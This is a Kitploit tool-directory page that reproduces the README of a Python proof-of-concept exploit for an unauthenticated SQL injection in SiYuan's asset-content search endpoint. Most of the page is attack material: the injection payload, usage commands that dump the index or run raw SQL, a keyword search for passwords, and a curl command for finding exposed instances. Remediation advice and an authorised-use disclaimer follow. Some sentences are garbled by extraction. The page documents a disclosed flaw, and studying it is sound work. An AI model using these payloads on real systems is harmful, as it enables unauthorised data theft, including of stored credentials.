Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-69083_exploit — Python PoC for CVE-2026-69083, an unauthenticated SQL injection in SiYuan's asset-content search endpoint. Supports REGEXP breakout and raw SQL passthrough to dump indexed assets and attached SQLite data. | Kitploit
Tools/GitHubGitHub/0xdak/cve-2026-69083_exploit
ExploitationWeb Application ExploitationData ExfiltrationPenetration TestingDatabase Security
GitHub0xdak/cve-2026-69083_exploit

CVE-2026-69083_exploit

Python PoC for CVE-2026-69083, an unauthenticated SQL injection in SiYuan's asset-content search endpoint. Supports REGEXP breakout and raw SQL passthrough to dump indexed assets and attached SQLite data.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
41 month agoNot yet reviewed
Share

CVE-2026-69083 — SiYuan Unauthenticated SQL Injection

Unauthenticated SQL injection in SiYuan (a Go-based knowledge-base app) via the asset-content search endpoint.

POST /api/search/fullTextSearchAssetContent builds a raw SQL statement by concatenating the user-controlled query value straight into a REGEXP clause with no escaping (kernel/model/asset_content.go, assetContentFieldRegexp):

root@kitploit:~
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>

A single quote in query breaks out of the string literal (CWE-89). When SiYuan is deployed without an access-auth code (Conf.AccessAuthCode == ""), the whole kernel treats callers as administrator with no credentials, so the injection is fully . is the REGEXP break-out; additionally passes as a raw SQL statement.

unauthenticated
method:3
method:2
query
  • Affected: SiYuan < 3.7.3
  • Default port: 6806 (unauthenticated when no accessAuthCode is set)
  • CWE: 89 (SQL Injection)
  • Impact: read/write access to the asset-content SQLite database (data exfiltration; ATTACH DATABASE to other SQLite files) — e.g. dumping credentials operators indexed into notes

Requirements

Python 3 standard library only — no dependencies.

Usage

root@kitploit:~
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/

# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password

# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
  --sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"

How it works

The default payload is:

root@kitploit:~
query = "zzqx') OR 1=1 -- "
  • zzqx') closes the (name REGEXP '...' group,
  • OR 1=1 makes the WHERE clause always true,
  • -- comments out the rest of the line, including the trailing AND ext IN <types> — which is otherwise a syntax error when types is empty (SiYuan emits AND ext IN with nothing after it, and the kernel silently returns no rows on a SQL error).

The endpoint then returns every row of the asset-content index, and the tool prints each row's content.

Identifying a target

root@kitploit:~
curl -s http://10.10.10.10:6806/system_stats  # or browse http://10.10.10.10:6806/ (no login prompt)

A SiYuan instance on port 6806 that loads without an access-auth code is exploitable.

Remediation

  • SiYuan ≥ 3.7.3 parameterizes the REGEXP query (... REGEXP ?) and gates the method-2 raw-SQL path behind an administrator check.
  • Always run SiYuan with an --accessAuthCode; never expose it unauthenticated — with no access-auth code the entire kernel API is administrator-open.
  • Do not store plaintext credentials in indexed notes/assets.

Disclaimer

For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.

Download Tool